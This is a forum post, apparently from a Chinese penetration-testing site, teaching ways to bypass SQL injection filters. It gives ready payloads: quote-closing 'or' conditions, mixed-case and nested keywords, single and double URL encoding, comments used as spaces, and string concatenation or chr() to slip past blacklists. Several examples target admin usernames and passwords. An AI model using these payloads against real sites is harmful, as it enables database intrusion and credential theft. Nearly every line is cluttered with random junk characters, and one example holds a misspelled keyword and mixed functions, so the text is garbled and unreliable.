中国网络渗透测试联盟

标题: PHP中SQL注入，绕开过滤，照样注入 [打印本页]
作者: admin    时间: 2013-1-13 09:50
标题: PHP中SQL注入，绕开过滤，照样注入
SQL注入。有攻有防。知道进攻。才懂得防守.
" p% h! s) I. \3 N) ~9 I+ C: B1 N3 Y
7 k0 M% E1 j# X& Y* x4 w* b有的时候，很容易受到SQL注入攻击的程序，可能会进行输入过滤，用来防止攻击者无限制的利用其中存在的设计缺陷。' `2 q3 t1 ?/ B' B: ]9 o( R& T
5 V; g1 A4 }; S) |1 I
唱出会删除或者净化一些字符，或者阻止常用的sql关键词。
# i) \! F8 m# Q9 u; [
  t  \+ w, J- u我们通常有以下几种技巧，去避开这些过滤。
/ K9 b3 L6 d% D+ Y5 u- V* C& G. ?- p6 _" M* t: h* g" Q
1，避免使用被阻止的字符，即不使用这些字符仍然达到攻击目的。
2 ^1 e4 i0 g$ d3 S% ]7 x9 a. |
3 Q( d; r, c2 m" i9 H) D# c: \A，如果注入一个数字数据字段，就不需要使用单引号。9 ?+ J" X! h2 t4 _  G
; x+ j$ ]2 s. U# P
B，输入注释符号被阻止使用，我们可以设计注入的数据，既不破坏周围的查询语法。
+ Q4 s# }- _+ o' w& A7 A2 Z- _4 N; m8 S$ m. w1 H( Y
比如， ?id=1′ 这里存在注入，过滤了注释符合，我们可以输入 ?id=1′ or ‘a’=’a2 A8 P% R% k! j: W9 R" B

  ]+ u' L$ F6 Y0 U) Y4 w目的其实很简单，就是把后面的单引号给闭合掉。, t, ]5 d1 e- g, i9 C1 J: x

7 _1 i4 t2 e- G& t1 EC，在一个MSSQL注入中注入批量查询的时候，不必使用分号分隔符。
  ?+ f3 [- a8 Y, S. Q7 w
, d* L$ r6 q& J, ?. F; m9 O只要纠正所有批量查询的语法，无论你是否使用分号，查询的解析器依然能正确的去解释它们的。; A2 x9 |( i3 \4 W% o. c9 W2 b
. W% W7 v! a* n) C
2，避免使用简单确认: _2 ?4 J+ `8 ~5 x0 Y) b2 Z6 Z

! `% I( q6 ]9 n! M9 H1 A1 H6 B! O一些输入确认机制使用一个简单的黑名单，组织或删除任何出现在这个名单中的数据，比如防注入程序。
' Y5 L6 p1 m" _' n
3 E; j- R  e* X- y5 P- ^2 G8 w. P这一般要看这个机制是否做的足够的好了，黑名单是否足够能确保安全。如果只是简单的黑名单，那也有机会突破的。% u) _" R& L. o: N! x% f. ~  [/ B
3 q9 ~+ f" A0 }- k- f. z: C6 g
A，如果select关键词被阻止或删除
, p5 K4 R; o5 Z3 ]0 y9 O* W6 {& z. l* ^9 D. E9 X) q+ o+ e
我们可以输入：& ]) n( N7 O" Z: y) W

; G! w1 C: U7 ^$ `  {) k0 bSeLeCt       注意大小写% W& h' q1 p7 E
9 S/ k: v3 t7 w% d* |
selselectect    还记得ewebeditor是怎么过滤asp的么？  p6 e: F; x4 G; i5 z/ X
3 S+ G3 M  w$ v2 I. N5 d
%53%45%4c%45%43%54                        URL编码
& H/ _- _- d; z+ W' `7 C, c# b% v
, l8 M* j1 Z7 H. c! C%2553%2545%254c%2545%2543%2554    对上面的每个%后加了一个25
8 c6 S9 e( r- Y$ Q  v! |6 U0 Y' e5 n5 U# f1 `& M; w
3，使用SQL注释符( S, u9 ^7 F; E4 j( O3 S3 Q

" g( W. q, p  [4 xA,使用注释来冒充注入的数据中的空格。* p. c" G; ^8 J, e, Q7 V. d) `) b
% a" H( _  ?7 x; X9 A% D
select/*yesu*/username,password/*yesu*/from/*yesu*/admin
( M2 q: X% H$ L1 J) L; l1 @- A( u6 i% Q" E9 o% s
/*yesu*/来冒充空格- h  {  l" h/ O/ V

" w' L: q- k. V: r5 l0 }9 zB,使用注释来避开某些注入的确认过滤。2 [; k; y( S  x# k/ I4 {. |, q

9 B$ C" I1 L' d- Y( Q" ]* Y9 X  MSEL/*yesu*/ECT username,password fr/*yesu*/om admin
: q* S- k( Q) p$ W5 I/ M- W& I4 X* F6 a, A! M
4,处理被阻止的字符串0 }) h$ L/ A3 {3 |; e9 W: l
; |1 O! a2 M. a$ H' @3 W2 u
比如，程序阻止了admin，因为怕攻击者注入admin表单中的数据。0 d1 H# W: {' [, e2 l8 x8 t0 F& S& i
; b0 o: p- Q8 Y3 |6 K- f
我们可以这样
6 p3 |" w% e7 x, T7 i
0 ^5 j- i0 I+ S- B- l0 z1 R3 @A，oracle数据库： ‘adm’||’in’
' g8 T6 E9 |7 Y0 Q( m  k* v( {, ~% f6 m9 z4 c7 @3 b8 F+ m
B,MSSQL数据库： ‘adm’+’in’
) p' _- q: {2 {' e2 E( h* b
' }) r! m2 N3 PC,MYSQL数据库： concat (‘adm’,’in’)
% h, d# U1 i0 i! r+ p, h  K1 A" u' [" f# j3 c
D,oracle中如果单引号被阻止了，还可以用chr函数- x) m: H* j! P8 L4 W7 u

3 D" k7 c: p" Q  ?$ {  M: wsleect password from admin where username = char(97) || chr(100) || chr(109) || chr(105) || chr(110)
7 E2 ], `+ B- M) _6 x& Y' _# i# A. t8 m( s, E
还有其他方法。正在收集中.
# l& j- N- {9 v. J; y% g7 X7 y! Y, w/ G' X. f: F: G7 U




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2